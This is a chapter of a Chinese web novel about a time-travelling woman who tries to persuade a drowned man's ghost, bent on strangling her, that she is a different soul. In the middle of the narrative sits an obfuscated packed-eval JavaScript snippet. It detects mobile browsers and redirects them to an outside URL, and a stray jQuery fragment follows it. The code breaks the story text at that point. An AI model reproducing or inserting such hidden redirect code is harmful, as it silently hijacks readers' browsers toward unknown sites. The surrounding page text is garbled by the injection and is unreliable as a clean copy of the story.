钟颖有种马上要晕过去的感觉,不只是被吓的,还有因为三观崩塌造成的天旋地转,她一直以来都是无神论者,不信鬼神,只信科学,可现在她却被身后不知是诈尸还是鬼劫持着。
但毕竟连穿越的事情都能发生,再发生点其他超自然的事情也不奇怪。
横在钟颖脖子前的手臂还在继续用力,对方想要勒死她的意图昭然若揭。
身后的男鬼是真的想要“娶(取)”她小命,但钟颖还想再活一活。
“等等——”生死存亡时刻,钟颖抓着那仿佛铁钳般的青白手臂奋力挣扎,阴冷的触感令她毛骨悚然。钟颖顾不上重建三观,努力想着求生的办法,可人与超自然生物对抗,她根本毫无胜算。
与溺水一般,胸腔中的空气越来越少,视野中的一切变得模糊……最后关头钟颖还真被逼出了几分急智,她用几乎最后的气息努力说出,“我、其实我也是鬼,借尸还魂的鬼,我们是同类啊——”
人与鬼对抗没有任何胜算,所以钟颖选择不当人了。
一直在加力的“铁钳”停了下来,对方像是意外听到了什么笑话般,发出一声短促的嗤笑,满是嘲讽的冷意。
真诚是唯一必杀技,她选择坦白从宽。
现在也顾不上什么崩不崩人设了。
钟颖终于在一丝间隙中得到呼吸,她大口喘息着,脑子乱乱的,想到什么就说什么了,“其实我也已经死了,虽然我也叫钟颖,但我原本是生活在二十一世纪,我是家里独生女……”
李霖时阴测测的目光落在钟颖绷紧的侧脸上,“我都不知道,原来钟二叔家的闺女是个疯子?”
明明对方正贴着自己的耳朵说话,她的耳朵敏感,却丝毫感受不到任何气息的流动,仿佛空气变成了一潭凝滞的死水,这个认知让钟颖再一次意识到,自己身后的,并不是一个“人”。
“也对,不疯怎么能干出这样的事来?可真是好算计。”身后的男声嘲弄中带着阴沉的怨气。
李霖时在被拽住衣领被迫一同落入河水中后,女孩四肢如柔韧绞杀的水草缠在他身上,不过片刻他就想明白了对方的谋划,立刻挣扎着把钟颖用力推开,结果没想到不过一会儿的功夫自己居然会遇到更加难以挣脱的河水暗流,而被自己厌恶推开的钟颖却反倒幸运的活了下来。
“这几天我一直在想,就算我推开了你又能如何呢?当着那么多人的面,只要上了岸不论怎样我都只能娶你,还不如当时别使那么大的力气推开你,我们两个到下面正好做一对鬼夫妻,你不是想要嫁给我吗?这样也算是达成你的心愿了。”
话中的不甘、怨恨、懊恼、执拗……听得钟颖心中又升起死亡临近的恐惧,一瞬间仿佛回到她无法控制身体、骤然倒地的那一刻。
“当我听到乡亲们把事实歪曲成一段动人佳话,觉得我推开你是想把生的机会让给你、把你我塑造成一对可歌可泣、悲剧的、阴阳相隔的苦命鸳鸯时——”
咬着牙一字一顿,仿佛凝着冰的声音。
“你知道我是什么感觉吗?”
钟颖换位思考,不得不说,这确实挺让人呕血的。
“我想杀了你,每时每刻,都想要杀了你。”
李霖时也确实这么做了,他站在钟二叔家门口,却被那看门的大黑狗吼了许久,再加上院子里还有个孩子,他只好暂时放弃;
再之后,李霖时站在屋外,听着屋里自己爹深明大义的拒绝了钟二叔“赔儿子”,只让对方一家子帮忙操持他的丧事,杀意再次翻涌,可钟颖被她的家人们护在中间,让他无处下手;
然后是他的丧礼上,全生产队的人都来了,他总不能当着那些看着他长大、还特意来为他这个小辈吊唁的叔叔伯伯的面索命,只能眼睁睁的看着钟颖走在下山的队伍里离开。
葬礼后,钟颖又闷在家里好几天,直到今日,李霖时才终于找到了机会动手。
“有人和我讲过,”刚说出口,李霖时就发现自己说错了,才死没多久的他还保留着人的习惯,他顿了一下,又继续说,“鬼乱杀人会造业障,想要再去投胎就只能进畜生道,下辈子任人宰杀。但如果是杀害死自己的人,这叫冤有头债有主,来要债而已。”
钟颖听得一颗心狂跳,几乎快要卡到了嗓子眼,什么意思,所以杀她是天经地义?
身后的鬼杀心再起,不再想要用手臂勒死她,而是直接换成手,他的手五指修长,一手就整个掐住了钟颖的脖子,他白晰无血色的皮肤上青色血管分明,用力时更加突出。
“你听我说,我理解杀人偿命,”钟颖脸色逐渐涨红,被掐得喘不过气来,因为着急说话语速极快,求生本能让她的大脑此刻高速运转到了极致,“原本的钟颖已经为她的行为付出了生命的代价,她也已经死了!所以才有了我在这里,我不是钟颖,我真的是借尸还魂的鬼——”
呵。
李霖时发出一声冷笑,原来钟颖不只是“疯”,还这么会编瞎话?
手掌下的脖颈温热,颈侧的血管同步着她此刻怦怦狂跳的急促心跳节奏,如此鲜活,她说她是鬼?那没了体温和心跳的他算什么?
但是他缓慢的松开了手,死后的日子其实很无聊,没有了吃饭睡觉的需求,人们看不见他,告诉他不要乱杀人的鬼还要看顾自己的孩子,李霖时连个说话的人都没有,所以他不介意晚半刻再带走钟颖,如果她能给他带来什么乐子的话。
钟颖敏锐的察觉到对方的松动,立刻抓住机会挣扎了出去,还下意识的离他远了一些。
一口气踉跄的走出去两三步,钟颖才转过身来,直面讨命的鬼,想要让对方更加清楚的看到她脸上的真诚。
结果刚转过身来,在看清对方后,钟颖不由得倒抽了一口冷气。
“我勒个去超绝浓颜系男鬼……”
这人、不是,这鬼生得极好,天生的眉眼深邃,高鼻薄唇,在苍白无血色的脸上更显浓墨重彩,浓黑的发丝、流畅的下颚又如工笔画中精心勾勒的线条,昳丽的仿佛能勾人的艳鬼。
钟颖除了能想到一句“郎艳独绝”,就只剩“卧槽”了。
用现代人的说法总结来说,就是长得相当权威。
也许是因为原身对他有着愧疚心理,又或是逃避,钟颖接收到的记忆里关于这个被挑中的倒霉蛋青年只有些一晃而过的身影,直到此刻骤然直面对方。
可他虽然脚踩在地面上,身后却无半分影子,甚至身形边缘带着一种朦胧的半透缥缈,这种诡异的非人鬼魅感让钟颖很快从美色的蛊惑中清醒过来。
朝不保夕的关头,钟颖的求生本能胜过了一切,她努力为自己挣命,“我说的真的都是实话,虽然我也叫钟颖,但我出生于三十年后,死时二十七岁,死因是猝死。”
李霖时听得只觉荒谬,醋死?
“还会有人喝醋把自己喝死吗?”李霖时冷笑着反问,一双浓黑的眼睛盯着钟颖,目光阴沉,没有一丝温度。
他期待的是死气沉沉的日子里能有些许的乐子,得到的却是令人发笑的糊弄。
李霖时后悔了,刚才他就应该立时掐死她,而不是在这里听她说这些荒谬的谎话。
“啊?”钟颖愣了一下,很快反应过来,解释道,“不是喝醋的醋,是猝然的猝,字面意思,就是猝然死亡,现代人很多都是加班太久这么死的,我也是。”
李霖时一个字都不信,“一天上八个小时的班能死人?”
“……十二个小时。”钟颖纠正道,在这一刻打工人的怨气突然复苏,抵消掉了一部分她面对超自然生物的恐惧,“最近半年要求我们必须在公司待够十二个小时,并且死前我已经连续加班十七天了,本来外包出去的活儿现在全要我们自己干。”
李霖时哽住,“你是做什么工作的?”
照钟颖这话,那她干得活儿比生产队的牛都多。
“游戏公司研发部的原画师。游戏就是……”钟颖发现这些在现代人认知里司空见惯的东西在此刻解释起来却有些难,语言上解释不清楚,她便左右看了看,拾起路边的一根树枝在土地上画了起来。
“这是手机,”钟颖寥寥几笔就形象的画出手机的样子,“游戏就是会显示在这个屏幕上的一种休闲娱乐……”
额,现在这时候好像还没有手机。
怕李霖时理解不了,钟颖只能说了更多现代的事情辅以佐证,“以后的房子都是高楼大厦,我就住在十六楼,就连农村也基本都是二层小别墅;路是柏油路,路上都是汽车,所以堵车很严重,尤其是早高峰和晚高峰,所以我上班都是去坐地铁,地铁就是在地下的一种交通工具……”
钟颖原本以为现代的一切都只能烂在自己肚子里了,没想到还能有和别人、啊呸,别的鬼全盘托出的时候。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448710|185220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她一边说一边关注着那男鬼脸上的表情,见他那张虽然美丽但死气沉沉的脸上好似没那么阴郁可怖了,钟颖不禁稍稍松了口气。
如墨羽般的长睫上悬着一颗微小的水珠,李霖时抬眼,目光从地面上短短一会儿时间已经被画了一大片的图像上挪开,转而看向钟颖。
钟颖期待的看着他,这下总能相信自己不是那个害死他的钟颖了吧?
“你是不是有精神病?”
男鬼唇色很浅,薄唇轻启,零下十度的嘴说出能让人瞬间冒火的话。
钟颖整个人都怔住了,不是,这鬼怎么不仅攻击人身(想要掐死她),还人身攻击(说她有病)啊?
李霖时其实是认真的。
虽然自己现在已经成了超乎科学范畴的存在,但李霖时听完钟颖说的话、看她画的那些图画,第一时间想到的却是他从学校图书馆中曾在一本书上看到的内容。有一种精神类疾病叫做人格分裂,主人格在经历一些事情后,或是想要寻找保护、或是逃避现实,从而分裂出另外的人格,这些人格会自发形成自己的性情、世界观甚至是迥然不同的职业。
钟颖听他说完都觉得好有道理啊,她甚至有一秒真的怀疑了自己,但下一秒钟颖又清醒过来,可她真的不是人格分裂啊!
那些加班甚至通宵的疲惫、小时候对父母争吵的恐惧到后来长大后的无力……所有的一切怎么可能是臆想,全都是生活这把钝刀子一刀刀磨在她身心的痛苦,残留下的痕迹证明一切都是真实发生过的事情。
“我真的不是什么第二人格,刚刚我说的一切都是实话。”钟颖脑袋有些痛,如何证明“我不是我”,这简直像是哲学问题,她冥思苦想,又换了种方法,“I''mreallynotasecondpersonality.EverythingIsaidisthetruth.”
钟颖用英语把自己刚刚说话复述了一遍,她看一些小说或是穿越剧中主角和老乡相认自证身份时都是用的这个法子,超管用的。
没想到李霖时听完一怔,只面色更加古怪的瞥她一眼,“你哥不是学习的料,你爹娘怎么不让你接着上学?”
钟颖:……
她真没招了。
钟颖无力的看向好似在替她惋惜的男鬼,突然看到了什么,令她一惊。
也许是因为死在河里,这人、呸,这鬼身上带着河水的湿气,偏生他现在穿得又是一件白色的衬衣,众所周知,这种白色的轻薄衣服遇水会变成半透明,紧紧贴在身上。
刚刚钟颖只顾着关注对方的长相和脸上的细微表情了,根本没留意对方身上居然这么的……□□。
钟颖立刻尴尬的移开了目光。
“你都是鬼了,接受能力就不能提高些吗?我会英语当然是因为我上过学啊,不止大学,我连研究生都读下来了!”钟颖有种破罐子破摔的崩溃,不只是因为她真没招了,还因为刚才那一眼不小心瞥到了这鬼身上两粒爷爷的爱人,还是淡樱色的……
崩溃,钟颖真不是故意想要看到的,可就在一霎那倏地撞进了她的视线中。
李霖时却见钟颖这幅逃避、不敢直视的样子顿时脸色一冷,眉眼间像是快速凝结成了一层霜,浑身煞气冲天。
“都是谎话。”
他居然在刚刚有一瞬间真的为她感到可惜。
“我真没有!”
钟颖急急反驳,她都把自己的底细揭露到这种程度了,怎么这鬼还觉得她在说谎?钟颖就差“请苍天、辫忠奸”了。
“你连直视我都不敢,还敢说自己没有说谎?”李霖时一双眼眸如黑墨般浓稠,冷冷的目光看着钟颖如同在看一个死人,或者在他眼里,她就是一个即将死去的人。
钟颖快速的抬起眼,看了一眼又忍不住再次侧头躲开,内心的崩溃再也压抑不住,“大哥,我这是非礼勿视好吗?我总不能像猥琐男一样,觉得这是什么送上门的福利就盯着一直看吧!”
非礼勿视?
李霖时怔住,低头一看……
空气中安静了好一会儿。
钟颖小心的转回了些头,控制着自己的目光尽量只扫到男鬼脖子以上——
“哎?”钟颖讶然。
风吹过树枝,树叶簌簌作响,树下哪还有什么男鬼,只剩她一人。
钟颖难以置信,就这么放过她了?